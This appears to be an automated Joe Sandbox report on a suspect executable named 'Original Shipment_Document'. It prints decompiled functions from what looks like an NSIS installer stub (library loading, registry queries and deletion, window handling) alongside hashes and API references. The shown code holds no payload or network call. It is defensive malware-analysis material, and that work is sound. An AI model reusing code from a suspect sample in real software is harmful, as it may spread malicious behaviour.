Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 387721db96078c788ef05d401c52d1705cfc64557ecb0b14db2e4703a56ba408
Instruction ID: 82756e30bcf828709d5cbcfbd5bc5585b8b9ec353a8eaca6552b8bf5b5cc12a5
Opcode Fuzzy Hash: 387721db96078c788ef05d401c52d1705cfc64557ecb0b14db2e4703a56ba408
Instruction Fuzzy Hash: 70713371E04229CBDF28CF98C844BADBBB1FB44305F14816EE856B7291C7786A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 004020D8 Relevance: 4.6, APIs: 3, Instructions: 73
libraryCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E004020D8(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t31;
				void* _t32;
				WCHAR* _t35;
				intOrPtr* _t36;
				void* _t37;
				void* _t39;

				_t32 = __ebx;
				asm("sbb eax, 0x42a2e0");
				 *(_t39 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x42a2a8 =  *0x42a2a8 +  *(_t39 - 4);
					return 0;
				}
				_t35 = E00402DA6(0xfffffff0);
				 *((intOrPtr*)(_t39 - 0x44)) = E00402DA6(1);
				if( *((intOrPtr*)(_t39 - 0x20)) == __ebx) {
					L3:
					_t23 = LoadLibraryExW(_t35, _t32, 8); // executed
					_t47 = _t23 - _t32;
					 *(_t39 + 8) = _t23;
					if(_t23 == _t32) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t36 = E00406943(_t47,  *(_t39 + 8),  *((intOrPtr*)(_t39 - 0x44)));
					if(_t36 == _t32) {
						E00405569(0xfffffff7,  *((intOrPtr*)(_t39 - 0x44)));
					} else {
						 *(_t39 - 4) = _t32;
						if( *((intOrPtr*)(_t39 - 0x28)) == _t32) {
							 *_t36( *((intOrPtr*)(_t39 - 8)), 0x400, _t37, 0x40ce28, 0x40a000); // executed
						} else {
							E00401423( *((intOrPtr*)(_t39 - 0x28)));
							if( *_t36() != 0) {
								 *(_t39 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t39 - 0x24)) == _t32 && E00403B56( *(_t39 + 8)) != 0) {
						FreeLibrary( *(_t39 + 8)); // executed
					}
					goto L16;
				}
				_t31 = GetModuleHandleW(_t35); // executed
				 *(_t39 + 8) = _t31;
				if(_t31 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x004020d8
0x004020d8
0x004020dd
0x004020e4
0x004021a3
0x004022f1
0x004022f1
0x00402c2a
0x00402c2d
0x00402c39
0x00402c39
0x004020f3
0x004020fd
0x00402100
0x00402110
0x00402114
0x0040211a
0x0040211c
0x0040211f
0x0040219c
0x00000000
0x0040219c
0x00402121
0x0040212c
0x00402130
0x00402170
0x00402132
0x00402135
0x00402138
0x00402164
0x0040213a
0x0040213d
0x00402146
0x00402148
0x00402148
0x00402146
0x00402138
0x00402178
0x00402191
0x00402191
0x00000000
0x00402178
0x00402103
0x0040210b
0x0040210e
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402103

Part of subcall function 00405569: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,00000000,00418EC0,00000000,?,?,?,?,?,?,?,?,?,004033ED,00000000,?), ref: 004055A1
Part of subcall function 00405569: lstrlenW.KERNEL32(004033ED,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,00000000,00418EC0,00000000,?,?,?,?,?,?,?,?,?,004033ED,00000000), ref: 004055B1
Part of subcall function 00405569: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,004033ED), ref: 004055C4
Part of subcall function 00405569: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll), ref: 004055D6
Part of subcall function 00405569: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004055FC
Part of subcall function 00405569: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405616
Part of subcall function 00405569: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405624

LoadLibraryExW.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00402114
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402191

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 11c3cf00bd93389db0dc410ebbe218bf6d9da3e13992e2678f31c330316c266a
Instruction ID: 94cae06f4fc191ca30d479cf411a95ccd627b95a6d871bbe988cbf7c6203fea7
Opcode Fuzzy Hash: 11c3cf00bd93389db0dc410ebbe218bf6d9da3e13992e2678f31c330316c266a
Instruction Fuzzy Hash: 0D21F231904104FBCF11AFA5CF48A9E7A71BF48354F20013BF501B91E0DBBD8A92965D

Uniqueness

Uniqueness Score: -1.00%

Function 00401B9B Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72
memoryCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401B9B(void* __ebx) {
				intOrPtr _t8;
				void* _t9;
				void _t12;
				void* _t14;
				void* _t22;
				void* _t25;
				void* _t30;
				char* _t32;
				void* _t33;
				void* _t34;
				void* _t37;

				_t28 = __ebx;
				_t8 =  *((intOrPtr*)(_t37 - 0x28));
				_t33 =  *0x40ce28; // 0x0
				if(_t8 == __ebx) {
					if( *((intOrPtr*)(_t37 - 0x2c)) == __ebx) {
						_t9 = GlobalAlloc(0x40, 0x804); // executed
						_t34 = _t9;
						_t5 = _t34 + 4; // 0x4
						E00406544(__ebx, _t30, _t34, _t5,  *((intOrPtr*)(_t37 - 0x30)));
						_t12 =  *0x40ce28; // 0x0
						 *_t34 = _t12;
						 *0x40ce28 = _t34;
					} else {
						if(_t33 == __ebx) {
							 *((intOrPtr*)(_t37 - 4)) = 1;
						} else {
							_t3 = _t33 + 4; // 0x4
							E00406507(_t30, _t3);
							_push(_t33);
							 *0x40ce28 =  *_t33;
							GlobalFree();
						}
					}
					goto L15;
				} else {
					while(1) {
						_t8 = _t8 - 1;
						if(_t33 == _t28) {
							break;
						}
						_t33 =  *_t33;
						if(_t8 != _t28) {
							continue;
						} else {
							if(_t33 == _t28) {
								break;
							} else {
								_t36 = _t33 + 4;
								_t32 = L"Call";
								E00406507(_t32, _t33 + 4);
								_t22 =  *0x40ce28; // 0x0
								E00406507(_t36, _t22 + 4);
								_t25 =  *0x40ce28; // 0x0
								_push(_t32);
								_push(_t25 + 4);
								E00406507();
								L15:
								 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t37 - 4));
								_t14 = 0;
							}
						}
						goto L17;
					}
					_push(0x200010);
					_push(E00406544(_t28, _t30, _t33, _t28, 0xffffffe8));
					E00405B67();
					_t14 = 0x7fffffff;
				}
				L17:
				return _t14;
			}

0x00401b9b
0x00401b9b
0x00401b9e
0x00401ba6
0x00401bef
0x00401c1d
0x00401c26
0x00401c28
0x00401c2c
0x00401c31
0x00401c36
0x00401c38
0x00401bf1
0x00401bf3
0x0040292e
0x00401bf9
0x00401bf9
0x00401bfe
0x00401c05
0x00401c06
0x00401c0b
0x00401c0b
0x00401bf3
0x00000000
0x00401ba8
0x00401ba8
0x00401ba8
0x00401bab
0x00000000
0x00000000
0x00401bb1
0x00401bb5
0x00000000
0x00401bb7
0x00401bb9
0x00000000
0x00401bbf
0x00401bbf
0x00401bc2
0x00401bc9
0x00401bce
0x00401bd8
0x00401bdd
0x00401be2
0x00401be6
0x00402a94
0x00402c2a
0x00402c2d
0x00402c33
0x00402c33
0x00401bb9
0x00000000
0x00401bb5
0x0040238a
0x00402397
0x00402398
0x0040239d
0x0040239d
0x00402c35
0x00402c39

APIs

GlobalFree.KERNEL32(00000000), ref: 00401C0B
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401C1D

Part of subcall function 00406544: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004066E9
Part of subcall function 00406544: lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,?,004055A0,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,00000000), ref: 00406743

Strings

Call, xrefs: 00401BC2, 00401BC8, 00401BE2

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: Global$AllocFreelstrcatlstrlen
String ID: Call
API String ID: 3292104215-1824292864
Opcode ID: f418f4755481c4114f64f720804408e05d6c5a7bbeb0d0f27e07374d9fb1a393
Instruction ID: e925a152a6e0f7021576dd296752ea90fe74f89098b2d6bde03e837448aacd47
Opcode Fuzzy Hash: f418f4755481c4114f64f720804408e05d6c5a7bbeb0d0f27e07374d9fb1a393
Instruction Fuzzy Hash: BA213673904210EBD720AFA4DEC5E5E72A4EB08328715093BF552B72D1D6BCE8518B5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040259E Relevance: 4.5, APIs: 3, Instructions: 47
registryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040259E(int* __ebx, intOrPtr __edx, short* __edi) {
				void* _t9;
				int _t10;
				long _t13;
				int* _t16;
				intOrPtr _t21;
				short* _t22;
				void* _t24;
				void* _t26;
				void* _t29;

				_t22 = __edi;
				_t21 = __edx;
				_t16 = __ebx;
				_t9 = E00402DE6(_t29, 0x20019); // executed
				_t24 = _t9;
				_t10 = E00402D84(3);
				 *((intOrPtr*)(_t26 - 0x10)) = _t21;
				 *__edi = __ebx;
				if(_t24 == __ebx) {
					 *((intOrPtr*)(_t26 - 4)) = 1;
				} else {
					 *(_t26 + 8) = 0x3ff;
					if( *((intOrPtr*)(_t26 - 0x20)) == __ebx) {
						_t13 = RegEnumValueW(_t24, _t10, __edi, _t26 + 8, __ebx, __ebx, __ebx, __ebx);
						__eflags = _t13;
						if(_t13 != 0) {
							 *((intOrPtr*)(_t26 - 4)) = 1;
						}
					} else {
						RegEnumKeyW(_t24, _t10, __edi, 0x3ff);
					}
					_t22[0x3ff] = _t16;
					_push(_t24);
					RegCloseKey();
				}
				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t26 - 4));
				return 0;
			}

0x0040259e
0x0040259e
0x0040259e
0x004025a3
0x004025aa
0x004025ac
0x004025b4
0x004025b7
0x004025ba
0x0040292e
0x004025c0
0x004025c8
0x004025cb
0x004025e4
0x004025ea
0x004025ec
0x004025ee
0x004025ee
0x004025cd
0x004025d1
0x004025d1
0x004025f5
0x004025fc
0x004025fd
0x004025fd
0x00402c2d
0x00402c39

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004025D1
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 004025E4
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp,00000000,00000011,00000002), ref: 004025FD

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 95042804e226a3edbcc009fbc96772bf2c2201535280c9fa5a1eeb71823b5771
Instruction ID: 8c40f98af4add78d59c4bc2bb7842a1dfdaddd4ec6c9bbdee1c196b88a33675a
Opcode Fuzzy Hash: 95042804e226a3edbcc009fbc96772bf2c2201535280c9fa5a1eeb71823b5771
Instruction Fuzzy Hash: 61017CB1A04105BBEB159F94DE58AAFB66CEF40348F10403AF501B61D0EBB85E45966D

Uniqueness

Uniqueness Score: -1.00%

Function 0040252A Relevance: 3.1, APIs: 2, Instructions: 56
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040252A(int* __ebx, char* __edi) {
				void* _t17;
				short* _t18;
				void* _t35;
				void* _t37;
				void* _t40;

				_t33 = __edi;
				_t27 = __ebx;
				_t17 = E00402DE6(_t40, 0x20019); // executed
				_t35 = _t17;
				_t18 = E00402DA6(0x33);
				 *__edi = __ebx;
				if(_t35 == __ebx) {
					 *(_t37 - 4) = 1;
				} else {
					 *(_t37 - 0x10) = 0x800;
					if(RegQueryValueExW(_t35, _t18, __ebx, _t37 + 8, __edi, _t37 - 0x10) != 0) {
						L7:
						 *_t33 = _t27;
						 *(_t37 - 4) = 1;
					} else {
						if( *(_t37 + 8) == 4) {
							__eflags =  *(_t37 - 0x20) - __ebx;
							 *(_t37 - 4) = 0 |  *(_t37 - 0x20) == __ebx;
							E0040644E(__edi,  *__edi);
						} else {
							if( *(_t37 + 8) == 1 ||  *(_t37 + 8) == 2) {
								 *(_t37 - 4) =  *(_t37 - 0x20);
								_t33[0x7fe] = _t27;
							} else {
								goto L7;
							}
						}
					}
					_push(_t35);
					RegCloseKey();
				}
				 *0x42a2a8 =  *0x42a2a8 +  *(_t37 - 4);
				return 0;
			}

0x0040252a
0x0040252a
0x0040252f
0x00402536
0x00402538
0x0040253f
0x00402542
0x0040292e
0x00402548
0x0040254b
0x00402566
0x00402596
0x00402596
0x00402599
0x00402568
0x0040256c
0x00402585
0x0040258c
0x0040258f
0x0040256e
0x00402571
0x0040257c
0x004025f5
0x00000000
0x00000000
0x00000000
0x00402571
0x0040256c
0x004025fc
0x004025fd
0x004025fd
0x00402c2d
0x00402c39

APIs

RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000033), ref: 0040255B
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp,00000000,00000011,00000002), ref: 004025FD

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 57dd2373f57ea1f6219187d19d0dfe57b0d65b34ca6df6b0f1408f242272ef2b
Instruction ID: f1f7847c69b95e8b88bdf62be751073741875666d26e4aee14b76084b72d5d95
Opcode Fuzzy Hash: 57dd2373f57ea1f6219187d19d0dfe57b0d65b34ca6df6b0f1408f242272ef2b
Instruction Fuzzy Hash: E2116D71900219EBDF14DFA4DE589AE7774FF04345B20443BE401B62D0E7B88A45EB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4, struct HWND__* _a10) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x42a250;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if(_a10 != 0) {
						 *0x42920c =  *0x42920c + _t12;
						SendMessageW(_a10, 0x402, MulDiv( *0x42920c, 0x7530,  *0x4291f4), 0); // executed
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 970bce7bfd6110042ba11e2ba34b1580a3262637bb8a43ad7db674ac8d0d0c57
Instruction ID: 40daf909c284af41af5c9cdf7f458e0296b91398e9c9917f7ae767538e8fd086
Opcode Fuzzy Hash: 970bce7bfd6110042ba11e2ba34b1580a3262637bb8a43ad7db674ac8d0d0c57
Instruction Fuzzy Hash: 1A01D131724220EBEB194B389D09B2A3698E710318F10867AF855F66F1E6788C129B5C

Uniqueness

Uniqueness Score: -1.00%

Function 00402434 Relevance: 3.0, APIs: 2, Instructions: 39
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402434(void* __ebx) {
				void* _t10;
				void* _t14;
				long _t18;
				intOrPtr _t20;
				void* _t22;
				void* _t23;

				_t14 = __ebx;
				_t26 =  *(_t23 - 0x20) - __ebx;
				_t20 =  *((intOrPtr*)(_t23 - 0x2c));
				if( *(_t23 - 0x20) != __ebx) {
					_t18 = E00402E64(_t20, E00402DA6(0x22),  *(_t23 - 0x20) >> 1);
					goto L4;
				} else {
					_t10 = E00402DE6(_t26, 2); // executed
					_t22 = _t10;
					if(_t22 == __ebx) {
						L6:
						 *((intOrPtr*)(_t23 - 4)) = 1;
					} else {
						_t18 = RegDeleteValueW(_t22, E00402DA6(0x33));
						RegCloseKey(_t22);
						L4:
						if(_t18 != _t14) {
							goto L6;
						}
					}
				}
				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t23 - 4));
				return 0;
			}

0x00402434
0x00402434
0x00402437
0x0040243a
0x0040247b
0x00000000
0x0040243c
0x0040243e
0x00402443
0x00402447
0x0040292e
0x0040292e
0x0040244d
0x0040245d
0x0040245f
0x0040247d
0x0040247f
0x00000000
0x00402485
0x0040247f
0x00402447
0x00402c2d
0x00402c39

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 00402456
RegCloseKey.ADVAPI32(00000000), ref: 0040245F

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: ff059aa1b3ae09757bbfd7b6d29cdc5ad8e3c3d0d5a22fe0fe3f65df460a2e98
Instruction ID: 3efe7552218bc8638c386b206662a839c6be39db124f2854c1ef7ee844e7f5c6
Opcode Fuzzy Hash: ff059aa1b3ae09757bbfd7b6d29cdc5ad8e3c3d0d5a22fe0fe3f65df460a2e98
Instruction Fuzzy Hash: 39F0C232A00120EBDB11ABB89B4DAAD72A8AF44314F15443BE141B71C0DAFC4D01866E

Uniqueness

Uniqueness Score: -1.00%

Function 00401EDE Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401EFC
EnableWindow.USER32(00000000,00000000), ref: 00401F07

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: d503c9f13438e3c869f1bbfba4ca0b9980fccaccea62ec0994004058657006bf
Instruction ID: 5d3c5223d4adea09edd48fe2ddafa99b3fbee87e2958761c9001e4fb32d1ad87
Opcode Fuzzy Hash: d503c9f13438e3c869f1bbfba4ca0b9980fccaccea62ec0994004058657006bf
Instruction Fuzzy Hash: C3E0D872908201CFE705EBA4EE485AE73F4EF40315710097FE401F11D1DBB54C00866D

Uniqueness

Uniqueness Score: -1.00%

Function 00401573 Relevance: 3.0, APIs: 2, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401573(void* __ebx) {
				int _t4;
				void* _t9;
				struct HWND__* _t11;
				struct HWND__* _t12;
				void* _t16;

				_t9 = __ebx;
				_t11 =  *0x4291f0;
				if(_t11 != __ebx) {
					ShowWindow(_t11,  *(_t16 - 0x2c)); // executed
					_t4 =  *(_t16 - 0x30);
				}
				_t12 =  *0x429204;
				if(_t12 != _t9) {
					ShowWindow(_t12, _t4); // executed
				}
				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t16 - 4));
				return 0;
			}

0x00401573
0x00401573
0x00401581
0x00401587
0x00401589
0x00401589
0x0040158c
0x00401594
0x0040159c
0x0040159c
0x00402c2d
0x00402c39

APIs

ShowWindow.USER32(?,?), ref: 00401587
ShowWindow.USER32(?), ref: 0040159C

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

